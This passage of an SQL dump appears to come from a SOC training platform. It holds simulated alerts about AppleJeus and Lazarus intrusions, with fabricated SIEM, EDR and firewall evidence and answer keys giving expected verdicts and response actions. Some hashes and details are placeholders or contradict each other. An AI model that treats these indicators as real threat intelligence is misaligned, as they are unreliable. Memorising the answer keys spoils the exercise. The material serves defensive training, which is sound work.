Feed\",\"verdict\":\"malicious\",\"details\":\"Known command and control server IP\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Local host in corporate network\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"C:\\\\Users\\\\jdoe\\\\AppData\\\\Roaming\\\\CryptoTrader.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Reputation Service\",\"verdict\":\"malicious\",\"details\":\"Executable associated with AppleJeus malware\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash matched AppleJeus malware sample\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'intermediate', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.863Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:31Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.23\\\",\\\"username\\\":\\\"jdoe\\\",\\\"process_name\\\":\\\"C:\\\\\\\\Users\\\\\\\\jdoe\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\CryptoTrader.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"event_description\\\":\\\"Process execution detected\\\",\\\"command_line\\\":\\\"\\\\\\\"C:\\\\\\\\Users\\\\\\\\jdoe\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\CryptoTrader.exe\\\\\\\" -silent\\\",\\\"malware_family\\\":\\\"AppleJeus\\\",\\\"severity\\\":\\\"High\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.863Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:31Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.23\\\",\\\"username\\\":\\\"jdoe\\\",\\\"process_name\\\":\\\"C:\\\\\\\\Users\\\\\\\\jdoe\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\CryptoTrader.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"event_description\\\":\\\"Process execution detected\\\",\\\"command_line\\\":\\\"\\\\\\\"C:\\\\\\\\Users\\\\\\\\jdoe\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\CryptoTrader.exe\\\\\\\" -silent\\\",\\\"malware_family\\\":\\\"AppleJeus\\\",\\\"severity\\\":\\\"High\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.863Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:31Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.23\\\",\\\"username\\\":\\\"jdoe\\\",\\\"process_name\\\":\\\"C:\\\\\\\\Users\\\\\\\\jdoe\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\CryptoTrader.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"event_description\\\":\\\"Process execution detected\\\",\\\"command_line\\\":\\\"\\\\\\\"C:\\\\\\\\Users\\\\\\\\jdoe\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\CryptoTrader.exe\\\\\\\" -silent\\\",\\\"malware_family\\\":\\\"AppleJeus\\\",\\\"severity\\\":\\\"High\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.863Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:31Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.23\\\",\\\"username\\\":\\\"jdoe\\\",\\\"process_name\\\":\\\"C:\\\\\\\\Users\\\\\\\\jdoe\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\CryptoTrader.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"event_description\\\":\\\"Process execution detected\\\",\\\"command_line\\\":\\\"\\\\\\\"C:\\\\\\\\Users\\\\\\\\jdoe\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\CryptoTrader.exe\\\\\\\" -silent\\\",\\\"malware_family\\\":\\\"AppleJeus\\\",\\\"severity\\\":\\\"High\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.863Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:31Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.23\\\",\\\"username\\\":\\\"jdoe\\\",\\\"process_name\\\":\\\"C:\\\\\\\\Users\\\\\\\\jdoe\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\CryptoTrader.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"event_description\\\":\\\"Process execution detected\\\",\\\"command_line\\\":\\\"\\\\\\\"C:\\\\\\\\Users\\\\\\\\jdoe\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\CryptoTrader.exe\\\\\\\" -silent\\\",\\\"malware_family\\\":\\\"AppleJeus\\\",\\\"severity\\\":\\\"High\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1358, 'Establishing Persistence Mechanism', 'high', 'System Registry Logs', 'Using AppleJeus, BlueNoroff modifies system startup configurations in the registry to maintain persistent access even after system reboots.', 'Persistence', 'T1547.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:22:03Z\",\"registry_path\":\"HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\",\"action\":\"modify\",\"username\":\"compromised_user\",\"filename\":\"applejeus.exe\",\"file_hash\":\"9f2b3c8d4a5e6f7g8h9i0j1k2l3m4n5o6p7q8r9s\",\"internal_ip\":\"192.168.1.100\",\"external_ip\":\"203.0.113.45\",\"malware_name\":\"AppleJeus\",\"attacker_group\":\"BlueNoroff\"}', '2026-03-01 23:02:16', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intelligence\",\"verdict\":\"malicious\",\"details\":\"Known IP used by BlueNoroff group.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"9f2b3c8d4a5e6f7g8h9i0j1k2l3m4n5o6p7q8r9s\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_analysis\",\"verdict\":\"malicious\",\"details\":\"Malware hash associated with AppleJeus.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"applejeus.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_database\",\"verdict\":\"malicious\",\"details\":\"Executable used by AppleJeus malware.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_logs\",\"verdict\":\"suspicious\",\"details\":\"User account exhibiting unusual activity.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'intermediate', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.866Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:22:03Z\\\",\\\"registry_path\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"action\\\":\\\"modify\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"filename\\\":\\\"applejeus.exe\\\",\\\"file_hash\\\":\\\"9f2b3c8d4a5e6f7g8h9i0j1k2l3m4n5o6p7q8r9s\\\",\\\"internal_ip\\\":\\\"192.168.1.100\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"malware_name\\\":\\\"AppleJeus\\\",\\\"attacker_group\\\":\\\"BlueNoroff\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.866Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:22:03Z\\\",\\\"registry_path\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"action\\\":\\\"modify\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"filename\\\":\\\"applejeus.exe\\\",\\\"file_hash\\\":\\\"9f2b3c8d4a5e6f7g8h9i0j1k2l3m4n5o6p7q8r9s\\\",\\\"internal_ip\\\":\\\"192.168.1.100\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"malware_name\\\":\\\"AppleJeus\\\",\\\"attacker_group\\\":\\\"BlueNoroff\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.866Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:22:03Z\\\",\\\"registry_path\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"action\\\":\\\"modify\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"filename\\\":\\\"applejeus.exe\\\",\\\"file_hash\\\":\\\"9f2b3c8d4a5e6f7g8h9i0j1k2l3m4n5o6p7q8r9s\\\",\\\"internal_ip\\\":\\\"192.168.1.100\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"malware_name\\\":\\\"AppleJeus\\\",\\\"attacker_group\\\":\\\"BlueNoroff\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.866Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:22:03Z\\\",\\\"registry_path\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"action\\\":\\\"modify\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"filename\\\":\\\"applejeus.exe\\\",\\\"file_hash\\\":\\\"9f2b3c8d4a5e6f7g8h9i0j1k2l3m4n5o6p7q8r9s\\\",\\\"internal_ip\\\":\\\"192.168.1.100\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"malware_name\\\":\\\"AppleJeus\\\",\\\"attacker_group\\\":\\\"BlueNoroff\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.866Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:22:03Z\\\",\\\"registry_path\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"action\\\":\\\"modify\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"filename\\\":\\\"applejeus.exe\\\",\\\"file_hash\\\":\\\"9f2b3c8d4a5e6f7g8h9i0j1k2l3m4n5o6p7q8r9s\\\",\\\"internal_ip\\\":\\\"192.168.1.100\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"malware_name\\\":\\\"AppleJeus\\\",\\\"attacker_group\\\":\\\"BlueNoroff\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1359, 'Lateral Movement Detected', 'high', 'Internal Network Traffic Analysis', 'The attackers leverage stolen credentials to move laterally across the network, seeking to compromise additional hosts and expand their control. Anomalous internal traffic patterns and unauthorized access attempts have been detected.', 'Lateral Movement', 'T1078 - Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:45Z\",\"event_id\":\"4624\",\"source_ip\":\"192.168.1.105\",\"destination_ip\":\"10.0.0.23\",\"username\":\"jdoe\",\"event_type\":\"logon\",\"authentication_package\":\"NTLM\",\"logon_type\":\"3\",\"process_name\":\"C:\\\\Windows\\\\System32\\\\svchost.exe\",\"file_hash\":\"3e7a3f4fbe5e4a1b9f9b6d8f4b1d5e9c\",\"external_ip\":\"203.0.113.45\",\"details\":\"Suspicious lateral movement detected with compromised credentials using NTLM authentication.\"}', '2026-03-01 23:02:16', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal database\",\"verdict\":\"internal\",\"details\":\"Known internal IP associated with the compromised user account.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal database\",\"verdict\":\"internal\",\"details\":\"Internal server targeted for compromise.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal database\",\"verdict\":\"suspicious\",\"details\":\"User credentials were used in an unauthorized manner.\"}},{\"id\":\"artifact_4\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"threat intelligence\",\"verdict\":\"malicious\",\"details\":\"IP associated with known threat actor infrastructure.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"3e7a3f4fbe5e4a1b9f9b6d8f4b1d5e9c\",\"is_critical\":true,\"osint_result\":{\"source\":\"file reputation service\",\"verdict\":\"malicious\",\"details\":\"Hash matches a known malware sample used for lateral movement.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'intermediate', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1360, 'Data Exfiltration in Progress', 'high', 'Outbound Network Traffic Monitoring', 'In the final stage of their operation, BlueNoroff initiates the exfiltration of sensitive cryptocurrency-related data, aiming to transmit it to their external command and control servers.', 'Exfiltration', 'T1041: Exfiltration Over C2 Channel', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:32:45Z\",\"src_ip\":\"10.0.2.15\",\"dest_ip\":\"203.0.113.45\",\"protocol\":\"HTTPS\",\"src_port\":\"44321\",\"dest_port\":\"443\",\"username\":\"jdoe\",\"exfiltrated_file\":\"crypto_wallets.dat\",\"file_hash\":\"2c1743a391305fbf367df8e4f069f9f9f6a1c3f4\",\"malware_family\":\"BlueNoroff\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\"}', '2026-03-01 23:02:16', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.2.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT\",\"verdict\":\"malicious\",\"details\":\"Known command and control server used by BlueNoroff.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"crypto_wallets.dat\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"suspicious\",\"details\":\"File containing sensitive cryptocurrency data.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"2c1743a391305fbf367df8e4f069f9f9f6a1c3f4\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash linked to BlueNoroff malware activity.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'intermediate', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1361, 'Initial Access via Trojanized Trading App', 'high', 'Endpoint Detection and Response (EDR)', 'A cryptocurrency trading application, \'TradePlusPro\', has been identified as being trojanized with malware attributed to the Lazarus Group. Affected systems are at risk of further exploitation. The application was downloaded from an unofficial source, leading to the initial compromise.', 'Malware Installation', 'T1203 Exploitation for Client Execution', 1, 'Closed', 178, '{\"timestamp\":\"2023-10-12T10:32:45Z\",\"event_id\":\"4625\",\"system\":{\"os\":\"Windows 10\",\"hostname\":\"DESKTOP-9LJK23A\",\"internal_ip\":\"192.168.1.45\"},\"user\":{\"username\":\"jdoe\",\"user_id\":\"S-1-5-21-3141592653-589793238-462643383-1001\"},\"file\":{\"name\":\"TradePlusPro_Setup.exe\",\"path\":\"C:\\\\Users\\\\jdoe\\\\Downloads\\\\TradePlusPro_Setup.exe\",\"hash\":\"5f4dcc3b5aa765d61d8327deb882cf99\"},\"network\":{\"remote_ip\":\"203.0.113.45\",\"port\":\"443\",\"protocol\":\"HTTPS\"},\"malware\":{\"name\":\"Lazarus_Trojan\",\"description\":\"Trojanized trading application used to gain initial access to cryptocurrency traders\' systems.\"}}', '2026-03-01 23:02:30', '2026-03-03 08:42:53', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT Database\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with Lazarus Group operations.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"is_critical\":true,\"osint_result\":{\"source\":\"Vendor AV\",\"verdict\":\"malicious\",\"details\":\"Hash of known malicious installer associated with trojanized software.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"TradePlusPro_Setup.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"suspicious\",\"details\":\"Filename matches pattern of trojanized software used by APTs.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1362, 'Execution of Remote Access Trojan (RAT)', 'critical', 'Network Traffic Analysis', 'Once installed, the trojan activates a Remote Access Trojan (RAT), allowing Lazarus operatives to execute commands and maintain persistence on compromised machines. The RAT communicates with a known malicious IP associated with Lazarus Group activity.', 'Malware Execution', 'T1219 - Remote Access Tools', 1, 'Closed', 178, '{\"timestamp\":\"2023-10-15T14:32:00Z\",\"source_ip\":\"192.168.1.25\",\"destination_ip\":\"185.100.87.202\",\"protocol\":\"HTTP\",\"uri\":\"/command/control\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"malware_hash\":\"b9f7b3e3f5ab4a3a8f1a2f4e2a7b9d8c\",\"username\":\"jdoe\",\"filename\":\"rat_executable.exe\",\"action\":\"C2 Communication\"}', '2026-03-01 23:02:30', '2026-03-03 08:44:54', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of infected host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"185.100.87.202\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with Lazarus Group.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"b9f7b3e3f5ab4a3a8f1a2f4e2a7b9d8c\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches a known Lazarus Group RAT.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"clean\",\"details\":\"Legitimate user account.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"rat_executable.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Security\",\"verdict\":\"malicious\",\"details\":\"Filename associated with RAT deployment.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1363, 'Persistence through Credential Theft', 'high', 'SIEM Logs', 'An advanced persistent threat actor, identified as part of the Lazarus Group, has been observed harvesting credentials from an infected device to secure a foothold for lateral movement within the organization\'s digital environment. This tactic is indicative of their strategy to maintain long-term access and prepare for financial theft or destructive operations.', 'Credential Access', 'T1110: Brute Force', 1, 'Closed', 178, '{\"timestamp\":\"2023-10-11T14:32:00Z\",\"event_type\":\"authentication_failure\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.105\",\"username\":\"jdoe\",\"failed_attempts\":5,\"method\":\"dictionary_attack\",\"associated_malware\":{\"name\":\"WannaCry\",\"hash\":\"f7a2edb1b4567e2d5f8e8497c9a3f378\",\"filename\":\"wannacry.exe\"},\"indicator_of_compromise\":[\"source_ip\",\"associated_malware\"]}', '2026-03-01 23:02:30', '2026-03-03 08:46:47', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known IP address used by Lazarus Group for credential theft operations.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised device.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"clean\",\"details\":\"Legitimate user account targeted in the attack.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"f7a2edb1b4567e2d5f8e8497c9a3f378\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with WannaCry ransomware.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"wannacry.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Executable name used by WannaCry ransomware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.873Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-11T14:32:00Z\\\",\\\"event_type\\\":\\\"authentication_failure\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.105\\\",\\\"username\\\":\\\"jdoe\\\",\\\"failed_attempts\\\":5,\\\"method\\\":\\\"dictionary_attack\\\",\\\"associated_malware\\\":{\\\"name\\\":\\\"WannaCry\\\",\\\"hash\\\":\\\"f7a2edb1b4567e2d5f8e8497c9a3f378\\\",\\\"filename\\\":\\\"wannacry.exe\\\"},\\\"indicator_of_compromise\\\":[\\\"source_ip\\\",\\\"associated_malware\\\"]}\"},{\"timestamp\":\"2026-03-02T13:54:06.873Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 